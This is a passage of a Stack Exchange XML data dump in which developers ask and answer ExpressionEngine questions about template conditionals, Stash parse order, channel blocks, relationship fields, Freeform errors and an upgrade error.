&amp;lt;Width&amp;gt;'.sprintf(&quot;%.1f&quot;, $order_width).'&amp;lt;/Width&amp;gt;&#xA;                    &amp;lt;/Dimensions&amp;gt;&#xA;                    &amp;lt;PackageWeight&amp;gt;&#xA;                        &amp;lt;UnitOfMeasurement&amp;gt;&amp;lt;Code&amp;gt;'.$weight_units.'&amp;lt;/Code&amp;gt;&amp;lt;/UnitOfMeasurement&amp;gt;&#xA;                        &amp;lt;Weight&amp;gt;'.sprintf(&quot;%.1f&quot;, $order_weight).'&amp;lt;/Weight&amp;gt;&#xA;                    &amp;lt;/PackageWeight&amp;gt;&#xA;                    '.$insure_order.'&#xA;                &amp;lt;/Package&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1224" LastEditorUserId="150" LastEditDate="2014-02-01T03:53:40.653" LastActivityDate="2014-02-01T04:05:39.417" Title="Expresso Store 1.6.5 with UPS Shipping: The maximum per package weight" Tags="|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18962" PostTypeId="2" ParentId="18939" CreationDate="2014-01-31T10:36:53.737" Score="2" Body="&lt;p&gt;Actually, that error message points to &lt;strong&gt;line 1 of eval()'d code&lt;/strong&gt;, which is executed on line #3276 of Template.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eval(&quot;\$result = (&quot;.$cond.&quot;);&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is part of parsing conditionals. So it looks like there's a problem with one of your conditionals. And since you say the error occurs on each page, the conditional most likely is present in a header/footer snippet/embed in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your templates and snippets for a conditional that uses &lt;code&gt;||&lt;/code&gt; and verify its validity.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-31T10:36:53.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18963" PostTypeId="2" ParentId="18956" CreationDate="2014-01-31T10:53:19.473" Score="2" Body="&lt;p&gt;The &lt;code&gt;{excerpt}&lt;/code&gt; variable, which is defined in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#which-field-should-be-used-for-search-excerpt&quot; rel=&quot;nofollow&quot;&gt;the Channel Preferences&lt;/a&gt;, consists of the first 50 words from the field specified (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html#excerpt&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt;). If you need more than that, you're probably better off using the regular custom field notation and using something like &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;Hacksaw&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/trunchtml&quot; rel=&quot;nofollow&quot;&gt;TruncHTML&lt;/a&gt; to limit that field to 200 words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure the &lt;code&gt;{excerpt}&lt;/code&gt; is defined correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to CP &gt; Admin &gt; Channel administration &gt; Channels;&lt;/li&gt;&#xA;&lt;li&gt;Go to Edit Preferences for a channel;&lt;/li&gt;&#xA;&lt;li&gt;Under Administrative Preferences, make sure &lt;em&gt;Which field should be used for search excerpt?&lt;/em&gt; points to the correct field (only fields that have been set as “searchable” will be included);&lt;/li&gt;&#xA;&lt;li&gt;Repeat for each relevant channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-01-31T11:27:11.903" LastActivityDate="2014-01-31T11:27:11.903" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18965" PostTypeId="2" ParentId="13038" CreationDate="2014-01-31T11:24:45.300" Score="2" Body="&lt;p&gt;It is happens because Freemember save custom fields data &lt;em&gt;after&lt;/em&gt; member_register hook is executed. So at the moment when NC parsed template is no custom field data in DB. As temporary solution possible to use plugin which will take this data from _POST (like &lt;a href=&quot;https://bitbucket.org/WTSnet/get_post_var/src/2c070a7d934c/pi.get_post_var.php&quot; rel=&quot;nofollow&quot;&gt;GET_POST_Var&lt;/a&gt; plugin). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;New versions of NC which I'll release this week, have FreeMembers triggers.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-31T11:24:45.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18966" PostTypeId="1" AcceptedAnswerId="18970" CreationDate="2014-01-31T11:33:54.013" Score="2" ViewCount="521" Body="&lt;p&gt;I am a Drupal developer doing my fist ExpressionEngine project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drupal uses a model of content 'blocks' that can be placed in regions on pages based on certain rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the use of channels but can I tailor this to ExpressionEngine? Do I just create multiple channels and how can I make these blocks more flexible so I can choose which pages they appear on.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="55" LastEditDate="2014-01-31T13:19:27.167" LastActivityDate="2014-01-31T14:17:03.220" Title="Blocks in ExpressionEngine" Tags="|module|content|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18967" PostTypeId="2" ParentId="18959" CreationDate="2014-01-31T11:50:42.700" Score="-1" Body="&lt;p&gt;The &lt;code&gt;{related_entries}&lt;/code&gt; tag was used in EE1, but is no longer used in EE2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, to call in data from a native EE2 relationship field, you need to use a looping tag pair. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_relationship_field}&#xA;    {your_relationship_field:title}&#xA;    {your_relationship_field:a_custom_field}&#xA;{/your_relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your relationship field only accepts one single entry, you can also just use a single tag without the loop, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_relationship_field:a_custom_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more detailed examples in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;EE documentation&lt;/a&gt; documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your code &lt;code&gt;{related_entries id='person_office'}{location_telephone}{/related_entries}&lt;/code&gt; should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{person_office:location_telephone}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="744" LastActivityDate="2014-01-31T11:50:42.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18968" PostTypeId="1" AcceptedAnswerId="19076" CreationDate="2014-01-31T12:18:33.340" Score="2" ViewCount="789" Body="&lt;p&gt;I'm using Stash to set a value like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_value name=&quot;head_title&quot; value=&quot;{title}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I have now added a new channel field {news_meta_title} and would like to pass this as the value of &quot;head_title&quot; if it has been entered, otherwise just use {title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried doing this, but it didn't work;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if news_meta_title}&#xA;    {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{news_meta_title}&quot;}&#xA;{if:else}&#xA;    {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{title&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone had any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's all down to parse order, but not sure on how to resolve this.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-02-04T10:11:11.110" Title="Conditionally set a Stash value" Tags="|stash|conditionals|switchee|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18969" PostTypeId="2" ParentId="18968" CreationDate="2014-01-31T12:58:30.497" Score="1" Body="&lt;p&gt;I guess you could wrap that whole block with &lt;code&gt;{exp:stash:parse process=&quot;end&quot;} ... {/exp:stash:parse}&lt;/code&gt; to make it all parse at the end.  Like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {if news_meta_title}&#xA;        {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{news_meta_title}&quot;}&#xA;    {if:else}&#xA;        {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{title&quot;}&#xA;    {/if}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mark's docs are &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aparse%7D&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2014-01-31T12:58:30.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18970" PostTypeId="2" ParentId="18966" CreationDate="2014-01-31T12:58:44.783" Score="4" Body="&lt;p&gt;Welcome to ExpressionEngine! The first thing to understand is that EE has no concept of &quot;regions&quot; - it completely separates your content from your templates. The only content which appears at any given URL (which essentially is the same as your templates - templates in EE are like routes or controllers) is what you explicitly define inside your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, having said that, there are a few ways you could accomplish what you're after.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use a channel&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could setup a channel, and you could even call it &quot;Blocks&quot;. You could then give it as many fields as you like - content, maybe an image, whatever might be useful for you for each &quot;block&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your EE template - presumably inside of a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;snippet&lt;/a&gt; or an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;embedded template&lt;/a&gt;, which you'd be using throughout other templates - you'd write some conditional code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'about-us'}&#xA;    {exp:channel:entries channel=&quot;block&quot; entry_id=&quot;32&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;        &amp;lt;div class=&quot;block about-us-block&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            {block_content}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This assumes that the &lt;code&gt;entry_id&lt;/code&gt; of the &quot;About Us&quot; block was &lt;code&gt;32&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this approach is that if you have a number of blocks on your page (in a sidebar or whatever), this is very resource intensive (running a &lt;code&gt;channel:entries&lt;/code&gt; tag several times).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Global Variables&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This approach also lets you manage your &quot;block&quot; content inside of the control panel, but depending on how you approach it, gives you less flexibility. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&quot; rel=&quot;nofollow&quot;&gt;Global variables&lt;/a&gt; are always loaded, so you can use them anywhere in your templates with no performance hit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use EE's global variables, you are limited somewhat, as each is just an empty text area where you dump text and/or HTML. But if you upgrade to something like &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt;, you can create variables much like you create custom channel fields, and get much more sophisticated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you dumped the entire HTML contents of your block inside of a global variable called &lt;code&gt;gv_about_us_block&lt;/code&gt;, you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'about-us'}&#xA;    {gv_about_us_block}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you broke your block up into parts (say, inside of a Low Variables group):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'about-us'}&#xA;    &amp;lt;div class=&quot;block about-us-block&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{lv_about_us_block_title}&amp;lt;/h3&amp;gt;&#xA;        {lv_about_us_block_content}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Snippets&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Snippets are a more advanced form of global variables, in that they can contain EE module/plugin tags as well. They are also managed inside the control panel (though many use add-ons such as &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;Snippet Sync&lt;/a&gt; to store them in the filesystem instead). You could actually replicate &lt;em&gt;or&lt;/em&gt; combine the above two approaches with snippets if you wanted - use a channel entry and put all that code in a snippet (which you then call inside your template conditional), or just dump your entire &quot;block&quot; content into a snippet and use it exactly as you would the first example above under Global Variables.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Add-ons&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is an add-on called &lt;a href=&quot;http://devot-ee.com/add-ons/widgets&quot; rel=&quot;nofollow&quot;&gt;Widgets&lt;/a&gt;, which I have no experience with, and which appears not to have had too much development activity as of late, but may well work for you and get the job done. Its concept is similar to WordPress' widgets (but of course, since EE is a blank slate with no predefined regions of any sort, the widgets need to be added to your templates manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that gives you some ideas on how to approach this!&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-31T14:17:03.220" LastActivityDate="2014-01-31T14:17:03.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18971" PostTypeId="2" ParentId="18956" CreationDate="2014-01-31T13:14:25.453" Score="0" Body="&lt;p&gt;As Low has already said, you need to set the field as searchable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, go to the Channel Field that you want to use as the excerpt and set &lt;strong&gt;&lt;em&gt;Is field searchable?&lt;/em&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;em&gt;Yes&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go back to the Channel preferences and you should now be able to select that field in the &lt;strong&gt;&lt;em&gt;Which field should be used for search excerpt?&lt;/em&gt;&lt;/strong&gt; dropdown.&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2014-01-31T13:14:25.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18972" PostTypeId="1" AcceptedAnswerId="19011" CreationDate="2014-01-31T13:21:42.750" Score="1" ViewCount="1004" Body="&lt;p&gt;After updating from v2.5.5 to v2.7.3, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: EE::$session&#xA;&#xA;Filename: controllers/ee.php&#xA;&#xA;Line Number: 41&#xA;&#xA;Fatal error: Call to a member function userdata() on a non-object in /......../admin/expressionengine/controllers/ee.php on line 41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel like I have done this upgrade loads of times and I cannot work out where I'm going wrong here. I have overwritten all files as usual. The CP works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2014-02-01T13:52:14.793" Title="&quot;Undefined property: EE::$session&quot; in ee.php after upgrade" Tags="|upgrade|ee2-upgrades|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18973" PostTypeId="2" ParentId="18968" CreationDate="2014-01-31T13:35:26.700" Score="1" Body="&lt;p&gt;I &lt;strong&gt;think&lt;/strong&gt; this might be due to using an advanced conditional, which I guess could result in parse order issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if news_meta_title}&#xA;    {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{news_meta_title}&quot;}&#xA;{/if}&#xA;{if news_meta_title == &quot;&quot;}&#xA;    {exp:stash:set_value name=&quot;head_title&quot; value=&quot;{title}&quot;}&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not, have you tried adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; as Mark mentions in the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset_value%7D&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could try this set-up instead, which works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:stash:set name=&quot;head_title&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {if news_meta_title}&#xA;      {news_meta_title}&#xA;    {/if}&#xA;    {if news_meta_title == &quot;&quot;}&#xA;       {title}&#xA;    {/if}&#xA;{exp:stash:set}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="744" LastEditorUserId="69" LastEditDate="2014-01-31T17:10:25.517" LastActivityDate="2014-01-31T17:10:25.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18974" PostTypeId="2" ParentId="18539" CreationDate="2014-01-31T13:47:56.587" Score="0" Body="&lt;p&gt;I have had contact with Solspace about this and after testing the form without AJAX the page through an error complaining about the an invalid regex match.&#xA;In my banned keyword list there was an html &quot;a&quot; closing tag that was causing the error.&#xA;So, you can only use normal words in the ban keyword field; no special characters.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-01-31T13:47:56.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18975" PostTypeId="2" ParentId="18972" CreationDate="2014-01-31T14:01:37.353" Score="1" Body="&lt;p&gt;Have you tried clearing the cache (Tools &gt; Data &gt; Clear Caching)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help - what add-ons are you using? If you try disabling them one by one, does that fix it?&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2014-01-31T14:01:37.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18977" PostTypeId="1" AcceptedAnswerId="18990" CreationDate="2014-01-31T14:23:10.167" Score="0" ViewCount="804" Body="&lt;p&gt;I'm trying to figure out how to add an editable grid field to my channel form - there is very sparse (i.e. none) documentation for this at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I just need a logged in user to edit the existing grid field and also to add new rows. However, I don't want all fields to be display, so I need to use a custom_fields type of loop rather than just {field:grid_field_name}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using {field:grid_field} in the form doesn't seem to work very well - I get the 'Add Row' button, but clicking it does nothing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got this working yet?&lt;/p&gt;&#xA;" OwnerUserId="1517" LastEditorUserId="1517" LastEditDate="2014-01-31T15:00:42.403" LastActivityDate="2014-01-31T20:46:49.273" Title="EE 2.73 Channel Forms and Grid - no documentation" Tags="|channel-form|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18978" PostTypeId="1" AcceptedAnswerId="18979" CreationDate="2014-01-31T15:31:29.070" Score="1" ViewCount="116" Body="&lt;p&gt;I have the following at the top of one of my pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{fn_zone}&quot;!=&quot;&quot;}&#xA;    {redirect=&quot;/store&quot;}&#xA;{if:else}&#xA;&#xA;{exp:stash:destroy name=&quot;delivery_day&quot;}&#xA;&#xA;.... More stuff ....&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, what I'm finding is that regardless of the conditional the stash variable is &lt;em&gt;always&lt;/em&gt; being destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried changing it to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{fn_zone}&quot;!=&quot;&quot;}&#xA;    {redirect=&quot;/store&quot;}&#xA;{/if}&#xA;{if &quot;{fn_zone}&quot;==&quot;&quot;}&#xA;    {exp:stash:destroy name=&quot;delivery_day&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet its still doing the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advice how to deal with this?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-01-31T15:42:39.493" Title="Stash Destroys variable regardless of conditional" Tags="|stash|conditionals|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18979" PostTypeId="2" ParentId="18978" CreationDate="2014-01-31T15:40:02.830" Score="3" Body="&lt;p&gt;The quotes around {fn_zone} mean it's an advanced conditional which may be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if fn_zone == &quot;&quot;}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you may have to use the if:else plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}  &#xA;    {if &quot;{fn_zone}&quot;!=&quot;&quot;}&#xA;        {redirect=&quot;/store&quot;}&#xA;    {if:else}&#xA;&#xA;        {exp:stash:destroy name=&quot;delivery_day&quot;}&#xA;&#xA;    {/if}&#xA;{/exp:ifelse}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2014-01-31T15:40:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18980" PostTypeId="2" ParentId="18978" CreationDate="2014-01-31T15:42:39.493" Score="2" Body="&lt;p&gt;Yes, that is because the conditional is an advanced one, and will be parsed after plugin tags (ie Stash) (ref &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;LOW's parse order PDF&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the conditional was a simple one, this could work, but that depends on what {fn_zone} is. Only segment, embed, global variables are parsed as simple, and you have to write the left hand part of the conditional witout curly braces and string identifiers. If {fn_zone} is a global variable, something like this could do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if fn_zone!=&quot;&quot;}&#xA;    {redirect=&quot;/store&quot;}&#xA;{/if}&#xA;{if fn_zone==&quot;&quot;}&#xA;    {exp:stash:destroy name=&quot;delivery_day&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, my goto solution in these cases is to use Croxtons Switchee or IfElse plugins, and have parse=&quot;inward&quot; enabled. With switchee it would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{fn_zone}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;&quot;}&#xA;        {exp:stash:destroy name=&quot;delivery_day&quot;}&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;        {redirect=&quot;/store&quot;}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2014-01-31T15:42:39.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18981" PostTypeId="1" CreationDate="2014-01-31T16:54:26.607" Score="1" ViewCount="366" Body="&lt;p&gt;We recently moved to another server and as a consequence of said move, it appears as if forms that displayed inline errors correctly on the old server (and still do), no longer do so on the new server. We have verified that the source code for the forms is identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&#xA;Freeform Pro 4.0.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;  form_name=&quot;demo&quot;&#xA;  required=&quot;first_name|email&quot;&#xA;  inline_errors=&quot;yes&quot; &#xA;  rules:email=&quot;valid_email&quot; &#xA;  return=&quot;/contact-us/thank-you&quot; }&#xA;&#xA;&amp;lt;div class=&quot;contact&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;form_row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c1&quot;&amp;gt;First Name *&amp;lt;/label&amp;gt;&#xA;      {freeform:field:first_name attr:id=&quot;c1&quot;}&#xA;      {if freeform:error:first_name}&amp;lt;span class=&quot;error&quot;&amp;gt;* {freeform:error:first_name}&amp;lt;/span&amp;gt;{/if}  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c11&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;      {freeform:field:last_name attr:id=&quot;c11&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;form_row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c2&quot;&amp;gt;School Name&amp;lt;/label&amp;gt;&#xA;      {freeform:field:school_name attr:id=&quot;c2&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c21&quot;&amp;gt;Position/Title&amp;lt;/label&amp;gt;&#xA;      {freeform:field:position_title attr:id=&quot;c21&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;form_row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c3&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;      {freeform:field:phone attr:id=&quot;c3&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c31&quot;&amp;gt;Email Address *&amp;lt;/label&amp;gt;&#xA;      {freeform:field:email attr:id=&quot;c31&quot;}&#xA;      {if freeform:error:email}&amp;lt;span class=&quot;error&quot;&amp;gt;* {freeform:error:email}&amp;lt;/span&amp;gt;{/if}  &#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;form_row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c4&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;      {freeform:field:city attr:id=&quot;c1&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;half&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;c41&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;      {freeform:field:state attr:id=&quot;c41&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form_row checkboxes&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Language(s) of interest:&amp;lt;/span&amp;gt;&#xA;&#xA;    {freeform:field:languages_of_interest attr:class=&quot;contact_li&quot;}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form_row&quot;&amp;gt;&#xA;    {freeform:field:user_message attr:class=&quot;swap&quot; attr:value=&quot;(350 characters max)&quot;}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {freeform:submit}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="2685" LastEditDate="2014-02-25T20:19:56.590" LastActivityDate="2014-02-25T20:19:56.590" Title="Freeform inline errors not showing" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
